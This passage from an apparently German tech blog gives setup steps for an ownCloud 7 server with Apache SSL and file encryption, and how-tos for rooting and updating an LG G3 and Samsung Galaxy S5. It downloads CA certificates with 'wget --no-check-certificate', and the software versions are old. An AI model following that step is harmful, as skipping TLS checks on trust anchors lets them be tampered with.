libmythes-1.2-0 libneon27-gnutls libnspr4 libnss3 libnss3-1d libnss3-nssdb
libntdb1 liboauth-php libogg0 libopenjpeg2 libopus0 liborbit-2-0 liborbit2
liborc-0.4-0 liborcus-0.6-0 libpaper-utils libpaper1 libphp-pclzip
libphp-phpmailer libpoppler44 libpulse0 libpython3.4 libraptor2-0 librasqal3
libraw1394-11 librdf0 libreoffice libreoffice-avmedia-backend-gstreamer
libreoffice-base libreoffice-base-core libreoffice-base-drivers
libreoffice-calc libreoffice-common libreoffice-core libreoffice-draw
libreoffice-gnome libreoffice-gtk libreoffice-impress
libreoffice-java-common libreoffice-math libreoffice-pdfimport
libreoffice-report-builder-bin libreoffice-sdbc-firebird
libreoffice-sdbc-hsqldb libreoffice-style-galaxy libreoffice-style-human
libreoffice-writer libsamplerate0 libschroedinger-1.0-0 libsdl1.2debian
libsecret-1-0 libsecret-common libservlet3.0-java libsmbclient libsndfile1
libspeex1 libswscale2 libtalloc2 libtdb1 libtevent0 libtheora0
libtidy-0.99-0 libudisks2-0 libva1 libvisio-0.0-0 libvorbis0a libvorbisenc2
libvorbisfile3 libwbclient0 libwpd-0.9-9 libwpg-0.2-2 libwps-0.2-2
libx264-142 libxaw7 libxcb-shape0 libxfont1 libxft2 libxmu6 libxmuu1
libxslt1.1 libxt6 libxv1 libxvidcore4 libxxf86dga1 libyajl2
libzend-framework-php lp-solve mediawiki-classes openjdk-7-jre
openjdk-7-jre-headless owncloud owncloud-doc php-aws-sdk php-crypt-blowfish
php-doctrine-common php-dompdf php-dropbox php-font-lib php-getid3
php-google-api-php-client php-guzzle php-irods-prods php-opencloud
php-patchwork-utf8 php-pear php-phpdocx php-sabre-dav php-sabre-vobject
php-seclib php-services-json php-symfony-console php-symfony-eventdispatcher
php-symfony-routing php-tcpdf php-xml-parser php5-apcu php5-curl
php5-imagick php5-intl php5-ldap php5-oauth php5-tidy php5-xsl
policykit-1-gnome poppler-data python-crypto python-ldb python-ntdb
python-samba python-talloc python-tdb python3-uno samba-common
samba-common-bin samba-libs sdop smbclient sound-theme-freedesktop
ttf-dejavu-core tzdata-java udisks2 uno-libs3 ure vorbis-tools x11-utils
xfonts-encodings xfonts-mathml xfonts-utils zend-framework
zend-framework-bin[/Expand]
2. Owncloud herunterladen, entpacken und verschieben

cd /tmp/
wget https://download.owncloud.org/community/owncloud-7.0.2.tar.bz2
tar xfvj owncloud-7.0.2.tar.bz2
mv owncloud /var/www/html/
chown www-data:www-data -R /var/www/html/owncloud/

3. Jetzt über phpmyadmin eine Datenbank & Benutzer für Owncloud erstellen
4. Owncloud installieren http://meinserver.de/owncloud
Als Datenpfad geben wir unser Mountpunkt des Truecryptcontainers an, z.B. /media/data/oc
Das sollte jetzt erst einmal funktionieren, dann können wir anschließend noch mit der SSL-Verschlüsselung weitermachen.
Um nicht ein selbst-signiertes Zertifikat nutzen zu müssen, verwende ich ein kostenloses Start-SSL Zertifikat. Mann kann sich dort umsonst ein Konto erstellen, nachdem man seine persönlichen Daten angegeben hat und nach erfolgreicher Validierung auch Zertifikate für seine Domain erstellen.
SSL Aktivieren und Zertifikat erzeugen:

a2enmod ssl
service apache2 restart

Zertifikatskey und Request erstellen:

mkdir /etc/apache2/ssl
cd /etc/apache2/ssl
openssl genrsa -out certificate.key 4096

Für den Key würde ich persönlich kein Passwort festlegen, weil man sonst bei jedem Apache neustart dieses Passwort eingeben müsste.
Zertifikats Request erzeugen:

openssl req -new -key certificate.key -out myserver.de.csr
vi myserver.de.csr

Mit diesem Request kann man sich nun bei startssl.com ein Zertifikat erzeugen, dieses dann unter /etc/apache2/ssl/certificate.cer abspeichern.
Nun müssen noch die Root-Zertifikate der Zertifizierungsstelle heruntergeladen werden. Bei StartSSL sind das die folgenden:

wget --no-check-certificate https://www.startssl.com/certs/sub.class1.server.ca.pem
wget --no-check-certificate https://www.startssl.com/certs/ca.pem

Nun die Apache Konfiguration anpassen:

vi /etc/apache2/sites-available/default-ssl.conf

Hier folgende Einträge setzen (Pfade ggf. anpassen):

ServerAdmin webmaster@deineDomain.de
SSLEngine on
SSLCertificateFile /etc/apache2/ssl/certificate.cer
SSLCertificateKeyFile /etc/apache2/ssl/certificate.key
SSLCertificateChainFile /etc/apache2/ssl/sub.class1.server.ca.pem
SSLCACertificateFile /etc/apache2/ssl/ca.pem

Anschließend die SSL Konfiguration aktivieren und Apache neustarten:

a2ensite default-ssl.conf
service apache2 reload

Wenn hier keine Fehlermeldung kommt dann sieht alles gut aus.
Anschließend mal die Seite über https aufrufen:
https://meinServer.de/owncloud
Im Browser müsste dass dann wie folgt aussehen:
ssl
In den Owncloud Einstellungen würde ich jetzt noch die Option „Enforce HTTPS Encryption aktivieren“, dann wird keine unverschlüsselte HTTP Verbindung mehr benutzt.
Dateibasierte Verschlüsselung aktivieren:
Zusätzliches gibt es ein Encryption Modul innerhalb von Owncloud, was die Dateien selbst nochmal verschlüsselt:
encryptionrecovery-key
Nach dem aktivieren des Modules muss man sich neu anmelden, dabei werden die Verschlüsselungskeys erzeugt.
Unter den Einstellungen kann man zusätzlich noch ein Recovery Key eingeben, mit dem man im Notfall die einzelnen Dateien entschlüsseln kann.

LG G3 – OTA Updates trotz Root-Rechte

Nachdem man sein G3 gerootet hat funktionieren auf den ersten Blick erst einmal die OTA-Updates nicht, da das Gerät die Veränderung bemerkt.
Aber alles kein Problem – man kann das Update zwar nicht mehr OTA einspielen sondern per USB mit Hilfe der LG PC Suite Software.
Kurze Anleitung:
1. Die LG PC Suite herunterladen.
2. Anschließend die Software installieren und nochmals aktualisieren. Ohne Aktualisierung wurde mein G3 erst gar nicht erkannt.
3. Das G3 per USB verbinden und dann anschließend auf „Updates“ gehen.
Nun wird das aktuelle Rom heruntergeladen, auf das Handy gespielt und neugestartet.
Dabei werden keine Daten der (/data/) Partition gelöscht.
Es wird aber die vorinstallierte Bloatware (wie z.B. McAfee) wieder nachinstalliert.
Root geht verloren.
Das Software Update V10e:
Ich habe keine gravierenden Veränderungen festgestellt, hatte aber vorher auch keine Probleme:
Rooten klappt nicht mehr mittels Towelroot, allerdings funktioniert noch die PurbleDrake Methode:
1. Das Root-Paket herunterladen.
2. purpledrake_windows.bat ausführen. Fertig. (Vorher USB-Debugging aktivieren.)

Howto: Root für Samsung Galaxy S5

Um auch beim neusten Galaxy S5 wieder an Root Rechte zu kommen hier eine kleine Anleitung. Der ganze Prozess dauert keine 5 Minuten, sofern ihr schon die Treiber installiert habt.
Info: Durch das Prozedere wird ein Fuse-Bit gesetzt, auch bekannt als Knox-Bit wodurch der Hersteller herausbekommt, dass das Gerät verändert wurde. Dies kann unter Umständen Einflüsse auf die Garantie haben.
[stextbox id=“info“]Euer Modelltyp bekommt ihr heraus über: Einstellungen -> Geräteinformationen -> Modellnummer[/stextbox]
Ihr benötigt folgende Software/Tools:
Samsung USB-Treiber – Download hier.
CF Auto Root – bekommt ihr hier. Es gibt unterschiedliche Versionen für alle Modelle.
Odin 3.09 – bekommt ihr hier.
[stextbox id=“info“]In den Downloadmodus kommt ihr wie folgt: Handy ausschalten -> Home & Powerbutton & Leister gleichzeitig drücken.[/stextbox]
Howto Root:
1. Odin starten und auf den PDA Button klicken. Dort die entpackte CF Root Datei (.tar.md5) auswählen.
Keine anderen Einstellungen setzen. Der Hacken bei Repartition sollte NICHT gesetzt sein!
2. Handy in den Downloadmodus bringen und per USB anschließen
3. Startbutton in Odin drücken.
Nun wird ein modifiziertes Recovery geflasht und anschließend das Handy neu gestartet.
4. Fertig
2014-04-30 09.34.09_compressed